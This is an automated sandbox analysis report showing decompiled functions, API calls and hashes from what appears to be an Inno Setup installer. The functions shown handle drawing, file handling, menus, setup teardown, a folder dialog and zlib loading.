0x00416e4e
0x00416e4e
0x00416dfe
0x00416e52
0x00416e53
0x00000000

APIs

RectVisible.GDI32(?,?), ref: 00416DF7
SaveDC.GDI32(?), ref: 00416E0B
IntersectClipRect.GDI32(?,00000000,00000000,?,?), ref: 00416E2E
RestoreDC.GDI32(?,?), ref: 00416E49
CreateSolidBrush.GDI32(00000000), ref: 00416EC9
FrameRect.USER32 ref: 00416EFC
DeleteObject.GDI32(?), ref: 00416F06
CreateSolidBrush.GDI32(00000000), ref: 00416F16
FrameRect.USER32 ref: 00416F49
DeleteObject.GDI32(?), ref: 00416F53

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Rect$BrushCreateDeleteFrameObjectSolid$ClipIntersectRestoreSaveVisible
String ID:
API String ID: 375863564-0
Opcode ID: f5e5970eee54d0bcb02eab8e2075db5b0d9a9097ab786ecd458cbad45a71e17e
Instruction ID: 373b4cb3aef3e1a16ecbe9e2b2013132ab0d77f14efef333e8d983e2c339df12
Opcode Fuzzy Hash: f5e5970eee54d0bcb02eab8e2075db5b0d9a9097ab786ecd458cbad45a71e17e
Instruction Fuzzy Hash: 8D514C712082449FDB54EF69C8C4B9777E8AF48314F16566AFD488B287C738EC81CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00404AD7 Relevance: 15.1, APIs: 10, Instructions: 122
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404AD7(void** __eax) {
				void* _t25;
				long _t26;
				void* _t27;
				long _t30;
				void* _t34;
				void* _t36;
				long _t37;
				int _t40;
				void* _t42;
				void* _t48;
				void* _t49;
				long _t50;
				long _t51;
				void* _t54;
				void** _t55;
				DWORD* _t56;

				_t55 = __eax;
				 *((intOrPtr*)(__eax + 0xc)) = 0;
				 *((intOrPtr*)(__eax + 0x10)) = 0;
				_t25 =  *((intOrPtr*)(__eax + 4)) - 0xd7b1;
				if(_t25 == 0) {
					_t26 = 0x80000000;
					_t51 = 2;
					_t50 = 3;
					 *((intOrPtr*)(__eax + 0x1c)) = E00404A68;
					L8:
					_t55[9] = 0x404abf;
					_t55[8] = E00404A8F;
					if(_t55[0x12] == 0) {
						_t55[9] = E00404A8F;
						if(_t55[1] == 0xd7b2) {
							_t27 = GetStdHandle(0xfffffff5);
						} else {
							_t27 = GetStdHandle(0xfffffff6);
						}
						if(_t27 == 0xffffffff) {
							L35:
							_t55[1] = 0xd7b0;
							return GetLastError();
						} else {
							 *_t55 = _t27;
							L28:
							if(_t55[1] == 0xd7b1) {
								L32:
								return 0;
							}
							_t30 = GetFileType( *_t55);
							if(_t30 == 0) {
								CloseHandle( *_t55);
								_t55[1] = 0xd7b0;
								return 0x69;
							}
							if(_t30 == 2) {
								_t55[8] = E00404A92;
							}
							goto L32;
						}
					}
					_t34 = CreateFileA( &(_t55[0x12]), _t26, _t51, 0, _t50, 0x80, 0);
					if(_t34 == 0xffffffff) {
						goto L35;
					}
					 *_t55 = _t34;
					if(_t55[1] != 0xd7b3) {
						goto L28;
					}
					_t55[1] = _t55[1] - 1;
					_t36 = GetFileSize( *_t55, 0) + 1;
					if(_t36 == 0) {
						goto L35;
					}
					_t37 = _t36 - 0x81;
					if(_t37 < 0) {
						_t37 = 0;
					}
					if(SetFilePointer( *_t55, _t37, 0, 0) + 1 == 0) {
						goto L35;
					} else {
						_t40 = ReadFile( *_t55,  &(_t55[0x53]), 0x80, _t56, 0);
						_t54 = 0;
						if(_t40 != 1) {
							goto L35;
						}
						_t42 = 0;
						while(_t42 < _t54) {
							if( *((char*)(_t55 + _t42 + 0x14c)) == 0x1a) {
								if(SetFilePointer( *_t55, _t42 - _t54, 0, 2) + 1 == 0 || SetEndOfFile( *_t55) != 1) {
									goto L35;
								} else {
									goto L28;
								}
							}
							_t42 = _t42 + 1;
						}
						goto L28;
					}
				}
				_t48 = _t25 - 1;
				if(_t48 == 0) {
					_t26 = 0x40000000;
					_t51 = 1;
					_t50 = 2;
					L7:
					_t55[7] = E00404A92;
					goto L8;
				}
				_t49 = _t48 - 1;
				if(_t49 == 0) {
					_t26 = 0xc0000000;
					_t51 = 1;
					_t50 = 3;
					goto L7;
				}
				return _t49;
			}

0x00404ad8
0x00404adc
0x00404adf
0x00404ae5
0x00404aea
0x00404af7
0x00404afc
0x00404b01
0x00404b06
0x00404b36
0x00404b36
0x00404b3d
0x00404b48
0x00404bfc
0x00404c0a
0x00404c12
0x00404c0c
0x00404c12
0x00404c12
0x00404c1a
0x00404c57
0x00404c57
0x00000000
0x00404c1c
0x00404c1c
0x00404c1e
0x00404c25
0x00404c3e
0x00000000
0x00404c3e
0x00404c29
0x00404c30
0x00404c44
0x00404c49
0x00000000
0x00404c50
0x00404c35
0x00404c37
0x00404c37
0x00000000
0x00404c35
0x00404c1a
0x00404b5e
0x00404b66
0x00000000
0x00000000
0x00404b6c
0x00404b75
0x00000000
0x00000000
0x00404b7b
0x00404b87
0x00404b88
0x00000000
0x00000000
0x00404b8e
0x00404b93
0x00404b95
0x00404b95
0x00404ba4
0x00000000
0x00404baa
0x00404bbf
0x00404bc4
0x00404bc6
0x00000000
0x00000000
0x00404bcc
0x00404bce
0x00404bda
0x00404bee
0x00000000
0x00404bfa
0x00000000
0x00404bfa
0x00404bee
0x00404bdc
0x00404bdc
0x00000000
0x00404bce
0x00404ba4
0x00404aec
0x00404aed
0x00404b0f
0x00404b14
0x00404b19
0x00404b2f
0x00404b2f
0x00000000
0x00404b2f
0x00404aef
0x00404af0
0x00404b20
0x00404b25
0x00404b2a
0x00000000
0x00404b2a
0x00000000

APIs

CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B5E
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B82
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00404B9E
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00404BBF
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00404BE8
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00404BF2
GetStdHandle.KERNEL32(000000F5), ref: 00404C12
GetFileType.KERNEL32(?,000000F5), ref: 00404C29
CloseHandle.KERNEL32(?,?,000000F5), ref: 00404C44
GetLastError.KERNEL32(000000F5), ref: 00404C5E

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: 19aab46d14617eeb7ff55053a6d2529793c5aca4f70347c4672e535beafe550a
Instruction ID: 243fc86442b20f36379e50c59261f474f5b259432ffcb65c19c30b2a18794a22
Opcode Fuzzy Hash: 19aab46d14617eeb7ff55053a6d2529793c5aca4f70347c4672e535beafe550a
Instruction Fuzzy Hash: 2B41B2B02093009EF7305A648905B2776E5ABC0314F208A3FE3A6F66E0D77DEC858B5D

Uniqueness

Uniqueness Score: -1.00%

Function 004221CC Relevance: 15.1, APIs: 10, Instructions: 74
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004221CC(intOrPtr _a4) {
				intOrPtr _t27;
				struct HMENU__* _t48;

				_t27 =  *((intOrPtr*)(_a4 - 4));
				if( *((char*)(_t27 + 0x111)) != 0) {
					_t27 =  *((intOrPtr*)(_a4 - 4));
					if(( *(_t27 + 0x110) & 0x00000001) != 0) {
						_t27 =  *((intOrPtr*)(_a4 - 4));
						if( *((char*)(_t27 + 0x116)) != 1) {
							_t48 = GetSystemMenu(E004181C4( *((intOrPtr*)(_a4 - 4))), 0);
							if( *((char*)( *((intOrPtr*)(_a4 - 4)) + 0x111)) == 3) {
								DeleteMenu(_t48, 0xf130, 0);
								DeleteMenu(_t48, 7, 0x400);
								DeleteMenu(_t48, 5, 0x400);
								DeleteMenu(_t48, 0xf030, 0);
								DeleteMenu(_t48, 0xf020, 0);
								DeleteMenu(_t48, 0xf000, 0);
								return DeleteMenu(_t48, 0xf120, 0);
							}
							if(( *( *((intOrPtr*)(_a4 - 4)) + 0x110) & 0x00000002) == 0) {
								EnableMenuItem(_t48, 0xf020, 1);
							}
							_t27 =  *((intOrPtr*)(_a4 - 4));
							if(( *(_t27 + 0x110) & 0x00000004) == 0) {
								return EnableMenuItem(_t48, 0xf030, 1);
							}
						}
					}
				}
				return _t27;
			}

0x004221d3
0x004221dd
0x004221e6
0x004221f0
0x004221f9
0x00422203
0x0042221c
0x0042222b
0x00422235
0x00422242
0x0042224f
0x0042225c
0x00422269
0x00422276
0x00000000
0x00422283
0x00422297
0x004222a1
0x004222a1
0x004222a9
0x004222b3
0x00000000
0x004222bd
0x004222b3
0x00422203
0x004221f0
0x004222c4

APIs

GetSystemMenu.USER32(00000000,00000000), ref: 00422217
DeleteMenu.USER32(00000000,0000F130,00000000,00000000,00000000), ref: 00422235
DeleteMenu.USER32(00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 00422242
DeleteMenu.USER32(00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 0042224F
DeleteMenu.USER32(00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 0042225C
DeleteMenu.USER32(00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000), ref: 00422269
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000), ref: 00422276
DeleteMenu.USER32(00000000,0000F120,00000000,00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000), ref: 00422283
EnableMenuItem.USER32 ref: 004222A1
EnableMenuItem.USER32 ref: 004222BD

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Menu$Delete$EnableItem$System
String ID:
API String ID: 3985193851-0
Opcode ID: dc2ea80951fe9ce63c82eec4278d9d3efa35f48831147c28f6fae4a7aea3166e
Instruction ID: 0dc555760eb23990e168f5e73d866adde3542315bfaded5258ea6dcd035754b3
Opcode Fuzzy Hash: dc2ea80951fe9ce63c82eec4278d9d3efa35f48831147c28f6fae4a7aea3166e
Instruction Fuzzy Hash: 692132703417047AE720D724CD8FF9A7AD89B14B18F0444A5B6487F2D3C6F9AA404668

Uniqueness

Uniqueness Score: -1.00%

Function 00478408 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 167
windowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00478408(void* __eax, void* __ebx, intOrPtr __edi, void* __esi, void* __eflags, void* __fp0) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t33;
				intOrPtr* _t35;
				struct HWND__* _t47;
				struct HINSTANCE__* _t51;
				struct HINSTANCE__* _t53;
				intOrPtr* _t55;
				intOrPtr* _t58;
				signed int _t59;
				intOrPtr* _t62;
				intOrPtr* _t65;
				signed int _t66;
				intOrPtr _t71;
				intOrPtr _t77;
				intOrPtr _t79;
				void* _t83;
				void* _t85;
				void* _t86;
				intOrPtr _t102;
				void* _t105;
				void* _t108;
				intOrPtr _t110;
				intOrPtr _t112;
				void* _t117;
				void* _t119;
				void* _t120;
				intOrPtr _t121;

				_t139 = __fp0;
				_t113 = __edi;
				_t119 = _t120;
				_t121 = _t120 + 0xfffffff4;
				_push(__esi);
				_push(__edi);
				_v16 = 0;
				_t83 = __eax;
				_push(_t119);
				_push(0x47864b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t121;
				E00455348("Deinitializing Setup.", __eax, __edi, __esi);
				if( *0x49027c != 0) {
					_t124 = _t83;
					if(_t83 != 0) {
						_push(_t119);
						_push(0x478483);
						_push( *[fs:eax]);
						 *[fs:eax] = _t121;
						_t77 =  *0x490274; // 0x0
						_v12 = 0;
						_v8 = 0xb;
						_t79 =  *0x49027c; // 0x2329f3c
						 *0x490274 = E0048A204(_t79,  &_v12, "GetCustomSetupExitCode", _t124, __fp0, _t77, 0, 0);
						_pop(_t112);
						 *[fs:eax] = _t112;
					}
					_push(_t119);
					_push( *[fs:eax]);
					 *[fs:eax] = _t121;
					_v12 = 0;
					_v8 = 0xb;
					_t71 =  *0x49027c; // 0x2329f3c
					E0048A06C(_t71,  &_v12, "DeinitializeSetup", _t124, _t139, 0, 0);
					_pop(_t110);
					_t87 = 0x4784da;
					 *[fs:eax] = _t110;
					E0042E1A8(0x49027c);
				}
				_t29 =  *0x490254; // 0x22f5b00
				_t116 =  *((intOrPtr*)( *_t29 + 0x10))() - 1;
				if(_t116 >= 0) {
					_t117 = _t116 + 1;
					_t86 = 0;
					do {
						_t62 =  *0x490254; // 0x22f5b00
						_t113 =  *_t62;
						 *((intOrPtr*)( *_t62 + 0xc))();
						_t65 =  *0x490254; // 0x22f5b00
						_t87 =  *_t65;
						_t66 =  *((intOrPtr*)( *_t65 + 0x14))(_v16);
						_pop(_t108);
						E00450D4C(_t66 & 0xffffff00 | _t66 != 0x00000000, _t108, _t66);
						_t86 = _t86 + 1;
						_t117 = _t117 - 1;
					} while (_t117 != 0);
				}
				_t31 =  *0x490254; // 0x22f5b00
				 *((intOrPtr*)( *_t31 + 0x38))();
				_t33 =  *0x490258; // 0x22f5b2c
				_t85 =  *((intOrPtr*)( *_t33 + 0x10))() - 1;
				if(_t85 >= 0) {
					do {
						_t55 =  *0x490258; // 0x22f5b2c
						_t116 =  *_t55;
						 *((intOrPtr*)( *_t55 + 0xc))();
						_t58 =  *0x490258; // 0x22f5b2c
						_t87 =  *_t58;
						_t59 =  *((intOrPtr*)( *_t58 + 0x14))(_v16);
						_pop(_t105);
						E00451254(_t59 & 0xffffff00 | _t59 != 0x00000000, _t105, _t59);
						_t85 = _t85 - 1;
					} while (_t85 != 0xffffffff);
				}
				_t35 =  *0x490258; // 0x22f5b2c
				_t101 =  *_t35;
				 *((intOrPtr*)( *_t35 + 0x38))();
				E00467110();
				if( *0x4902fc != 0) {
					_t53 =  *0x4902fc; // 0x10000000
					FreeLibrary(_t53);
				}
				if( *0x4902f8 != 0) {
					_t51 =  *0x4902f8; // 0x0
					FreeLibrary(_t51);
				}
				E004744E4();
				E004741B8(_t85, _t87, _t101, _t113, _t116);
				if( *0x490237 != 0 &&  *0x48fee8 != 0) {
					E00455348("Not restarting Windows because Setup is being run from the debugger.", _t85, _t113, _t116);
					 *0x490237 = 0;
				}
				E004549F8();
				if( *0x490237 != 0) {
					E00455348("Restarting Windows.", _t85, _t113, _t116);
					if( *0x48ff6c == 0) {
						E004536F0();
					} else {
						_t47 =  *0x48ff70; // 0x2042c
						SendMessageA(_t47, 0x496, 0x2710, 0);
					}
				}
				_pop(_t102);
				 *[fs:eax] = _t102;
				_push(E00478652);
				return E00403418( &_v16);
			}

0x00478408
0x00478408
0x00478409
0x0047840b
0x0047840f
0x00478410
0x00478413
0x00478416
0x0047841a
0x0047841b
0x00478420
0x00478423
0x0047842b
0x00478437
0x0047843d
0x0047843f
0x00478443
0x00478444
0x00478449
0x0047844c
0x00478453
0x0047845b
0x0047845e
0x0047846a
0x00478474
0x0047847b
0x0047847e
0x0047847e
0x004784a5
0x004784ab
0x004784ae
0x004784b7
0x004784ba
0x004784c6
0x004784cb
0x004784d2
0x004784d4
0x004784d5
0x004784ff
0x004784ff
0x00478504
0x00478510
0x00478513
0x00478515
0x00478516
0x00478518
0x0047851d
0x00478522
0x00478524
0x0047852d
0x00478532
0x00478534
0x0047853c
0x0047853d
0x00478542
0x00478543
0x00478543
0x00478518
0x00478546
0x0047854d
0x00478550
0x0047855c
0x00478560
0x00478562
0x00478567
0x0047856c
0x0047856e
0x00478577
0x0047857c
0x0047857e
0x00478586
0x00478587
0x0047858c
0x0047858d
0x00478562
0x00478592
0x00478597
0x00478599
0x0047859c
0x004785a8
0x004785aa
0x004785b0
0x004785b0
0x004785bc
0x004785be
0x004785c4
0x004785c4
0x004785c9
0x004785ce
0x004785da
0x004785ea
0x004785ef
0x004785ef
0x004785f6
0x00478602
0x00478609
0x00478615
0x00478630
0x00478617
0x00478623
0x00478629
0x00478629
0x00478615
0x00478637
0x0047863a
0x0047863d
0x0047864a

APIs

Part of subcall function 00455348: GetLocalTime.KERNEL32(0048DC69,00000000,004554CF,?,?,00000000,0048F628,?,00473FBC,00000000,004740D7,?,?,00000000,0048F628,00000000), ref: 00455378

FreeLibrary.KERNEL32(10000000), ref: 004785B0
FreeLibrary.KERNEL32(00000000), ref: 004785C4
SendMessageA.USER32(0002042C,00000496,00002710,00000000), ref: 00478629

Strings

Deinitializing Setup., xrefs: 00478426
Restarting Windows., xrefs: 00478604
DeinitializeSetup, xrefs: 004784C1
Not restarting Windows because Setup is being run from the debugger., xrefs: 004785E5
GetCustomSetupExitCode, xrefs: 00478465

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: FreeLibrary$LocalMessageSendTime
String ID: DeinitializeSetup$Deinitializing Setup.$GetCustomSetupExitCode$Not restarting Windows because Setup is being run from the debugger.$Restarting Windows.
API String ID: 2162613394-1884538726
Opcode ID: 5a7547b198901d6d6622e33f12b821edb5076d0f4bb5f9de67f06d277379e44c
Instruction ID: 8cebeb1119a389dc60407af3f5e9ea1d97c548952aabf0385f15478dbf14d114
Opcode Fuzzy Hash: 5a7547b198901d6d6622e33f12b821edb5076d0f4bb5f9de67f06d277379e44c
Instruction Fuzzy Hash: 7451AD30640201AFD711DB69D88DB9A7BA4EB59314F20C5BFE809D73A2DB789C48CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0045C1B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E0045C1B0(void* __eax, void* __ebx, struct _browseinfo __ecx, intOrPtr* __edx, void* __edi, void* __esi, void* __eflags, char _a4) {
				intOrPtr* _v8;
				char _v9;
				char _v16;
				char _v20;
				struct HWND__* _v24;
				intOrPtr _v28;
				struct _ITEMIDLIST* _v32;
				intOrPtr _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v52;
				char* _v56;
				struct _browseinfo _v64;
				char _v324;
				intOrPtr _t49;
				void* _t59;
				intOrPtr _t67;
				struct _browseinfo _t70;
				void* _t72;
				void* _t73;
				intOrPtr _t74;

				_t68 = __edi;
				_t72 = _t73;
				_t74 = _t73 + 0xfffffdbc;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v16 = 0;
				_t70 = __ecx;
				_v8 = __edx;
				_t59 = __eax;
				_push(_t72);
				_push(0x45c33f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t74;
				_v9 = 0;
				E0042CAE0( *_v8, __ecx,  &_v16, __eflags);
				_push( &_v20);
				L0042CBCC();
				if(E0042CBA4( &_v20) != 0) {
					_v20 = 0;
				}
				E00402934( &_v64, 0x20);
				_v64 = _t70;
				_v56 =  &_v324;
				_v52 = E00403750(_t59);
				_v48 = 0x41;
				if(_a4 == 0) {
					_v48 = _v48 | 0x00000200;
				}
				_v44 = E0045C14C;
				if(_v16 != 0) {
					_v40 = E00403750(_v16);
				}
				_v24 = GetActiveWindow();
				_v28 = E0041EE88(0, _t59, _t68, _t70);
				_push(0);
				L0042CB4C();
				_push(_t72);
				_push(0x45c2b4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t74;
				_v32 = SHBrowseForFolder( &_v64);
				_pop(_t67);
				 *[fs:eax] = _t67;
				_push(0x45c2bb);
				L0042CB54();
				E0041EF3C(_v28);
				_t49 =  *0x48f628; // 0x22f2410
				SetActiveWindow( *(_t49 + 0x20));
				return SetActiveWindow(_v24);
			}

0x0045c1b0
0x0045c1b1
0x0045c1b3
0x0045c1b9
0x0045c1ba
0x0045c1bb
0x0045c1be
0x0045c1c1
0x0045c1c3
0x0045c1c6
0x0045c1ca
0x0045c1cb
0x0045c1d0
0x0045c1d3
0x0045c1d6
0x0045c1e2
0x0045c1ea
0x0045c1eb
0x0045c1f7
0x0045c1fb
0x0045c1fb
0x0045c208
0x0045c20d
0x0045c216
0x0045c220
0x0045c223
0x0045c22e
0x0045c230
0x0045c230
0x0045c237
0x0045c242
0x0045c24c
0x0045c24c
0x0045c254
0x0045c25e
0x0045c261
0x0045c263
0x0045c26a
0x0045c26b
0x0045c270
0x0045c273
0x0045c27f
0x0045c284
0x0045c287
0x0045c28a
0x0045c28f
0x0045c297
0x0045c29c
0x0045c2a5
0x0045c2b3

APIs

Part of subcall function 0042CAE0: CharPrevA.USER32(?,00000000,?,00000001,?,?,0042CC0E,00000000,0042CC34,?,00000001,?,?,00000000,?,0042CC86), ref: 0042CB08

SHGetMalloc.SHELL32(?), ref: 0045C1EB
GetActiveWindow.USER32 ref: 0045C24F
CoInitialize.OLE32(00000000), ref: 0045C263
SHBrowseForFolder.SHELL32(?), ref: 0045C27A
7632F460.OLE32(0045C2BB,00000000,?,?,?,?,?,00000000,0045C33F), ref: 0045C28F
SetActiveWindow.USER32(?,0045C2BB,00000000,?,?,?,?,?,00000000,0045C33F), ref: 0045C2A5
SetActiveWindow.USER32(?,?,0045C2BB,00000000,?,?,?,?,?,00000000,0045C33F), ref: 0045C2AE

Strings

A, xrefs: 0045C223

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ActiveWindow$7632BrowseCharF460FolderInitializeMallocPrev
String ID: A
API String ID: 472216371-3554254475
Opcode ID: 036de84f5d6a467aae8a43b6eeb0dc7aba825ebc9320c110753ae6665b078d1f
Instruction ID: 6ceb26fb85bac15bc959ba65c80639602947ac9b35543aa89682498837f70cd4
Opcode Fuzzy Hash: 036de84f5d6a467aae8a43b6eeb0dc7aba825ebc9320c110753ae6665b078d1f
Instruction Fuzzy Hash: 81312F70E003089FDB00EFA6D886A9EBBF9EB08704F51447AF814E7252D7785A04CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0045A18C Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 41
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0045A18C(struct HINSTANCE__* __eax) {
				intOrPtr _t6;
				struct HINSTANCE__* _t7;

				_t7 = __eax;
				 *0x48ff1c = GetProcAddress(__eax, "inflateInit_");
				 *0x48ff20 = GetProcAddress(_t7, "inflate");
				 *0x48ff24 = GetProcAddress(_t7, "inflateEnd");
				 *0x48ff28 = GetProcAddress(_t7, "inflateReset");
				if( *0x48ff1c == 0 ||  *0x48ff20 == 0 ||  *0x48ff24 == 0 ||  *0x48ff28 == 0) {
					_t6 = 0;
				} else {
					_t6 = 1;
				}
				if(_t6 == 0) {
					 *0x48ff1c = 0;
					 *0x48ff20 = 0;
					 *0x48ff24 = 0;
					 *0x48ff28 = 0;
					return _t6;
				}
				return _t6;
			}

0x0045a18d
0x0045a19a
0x0045a1aa
0x0045a1ba
0x0045a1ca
0x0045a1d6
0x0045a1f3
0x0045a1f7
0x0045a1f7
0x0045a1f7
0x0045a1fb
0x0045a1ff
0x0045a207
0x0045a20f
0x0045a217
0x00000000
0x0045a217
0x0045a21e

APIs

GetProcAddress.KERNEL32(00000000,inflateInit_), ref: 0045A195
GetProcAddress.KERNEL32(00000000,inflate), ref: 0045A1A5
GetProcAddress.KERNEL32(00000000,inflateEnd), ref: 0045A1B5
GetProcAddress.KERNEL32(00000000,inflateReset), ref: 0045A1C5

Strings

inflateInit_, xrefs: 0045A18F
inflateEnd, xrefs: 0045A1AF
inflate, xrefs: 0045A19F
inflateReset, xrefs: 0045A1BF

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressProc
String ID: inflate$inflateEnd$inflateInit_$inflateReset
API String ID: 190572456-3516654456
Opcode ID: 3bf7286a66463856631d4979e79e578ff30af3c35f31498dbd1205ec2074e2c0
Instruction ID: 4d3d890dc723861f13db6395896c487a27456cfa16dca570ba405f90b3c14af2
Opcode Fuzzy Hash: 3bf7286a66463856631d4979e79e578ff30af3c35f31498dbd1205ec2074e2c0
Instruction Fuzzy Hash: 4C014FB0500640DADB04DF66AC4572E3695E78A316F108A3FEB05952B3D37C04ADCF2E

Uniqueness

Uniqueness Score: -1.00%

Function 0041A8C0 Relevance: 13.7, APIs: 9, Instructions: 176
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A8C0(intOrPtr* __eax, intOrPtr __ecx, int* __edx, intOrPtr _a4, int* _a8) {
				intOrPtr _v8;
				long _v12;
				int _v16;
				int _v20;
				void* __edi;
				void* __ebp;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr _t70;
				void* _t71;
				void* _t74;
				long _t77;
				intOrPtr _t89;
				long _t115;
				intOrPtr _t120;
				intOrPtr* _t138;
				intOrPtr* _t140;
				intOrPtr _t144;
				int* _t146;
				intOrPtr _t150;
				intOrPtr _t153;
				intOrPtr _t154;
				intOrPtr _t155;
				int* _t160;
				intOrPtr* _t162;

				_t147 = __ecx;
				_v8 = __ecx;
				_t146 = __edx;
				_t162 = __eax;
				_t160 = _a8;
				if(_v8 != 0) {
					 *((intOrPtr*)( *__eax + 0x10))();
					_v16 = _t160[2] -  *_t160;
					_v20 = _t160[3] - _t160[1];
					_t150 =  *0x41aabc; // 0x1
					E0041B14C(__eax, __ecx, _t150, _t160);
					if( *0x48e53c == 0) {
						 *0x48e53c = E0041CD08(1);
						_t144 =  *0x48e53c; // 0x0
						E0041D848(_t144, 1);
					}
					_t66 =  *0x48e53c; // 0x0
					if( *((intOrPtr*)( *_t66 + 0x20))() < _v16) {
						_t140 =  *0x48e53c; // 0x0
						_t147 =  *_t140;
						 *((intOrPtr*)( *_t140 + 0x2c))();
					}
					_t68 =  *0x48e53c; // 0x0
					_t152 =  *_t68;
					if( *((intOrPtr*)( *_t68 + 0x1c))() < _v20) {
						_t152 = _v20;
						_t138 =  *0x48e53c; // 0x0
						_t147 =  *_t138;
						 *((intOrPtr*)( *_t138 + 0x28))();
					}
					_t70 =  *0x48e53c; // 0x0
					_t71 = E0041D0B4(_t70, _t147, _t152);
					_t153 =  *0x41aabc; // 0x1
					E0041B14C(_t71, _t147, _t153, _t160);
					_t74 = E0041D0B4(_v8, _t147, _t153);
					_t154 =  *0x41aabc; // 0x1
					E0041B14C(_t74, _t147, _t154, _t160);
					_t77 = E0041A03C(_a4);
					_v12 = SetBkColor( *(E0041D0B4(_v8, _t147, _t154) + 4), _t77);
					_t89 =  *0x48e53c; // 0x0
					L00405B9C();
					SetBkColor( *(E0041D0B4(_v8, _t147, _t154) + 4), _v12);
					_t155 =  *0x41aac0; // 0x9
					E0041B14C(_t162, _t147, _t155, _t160);
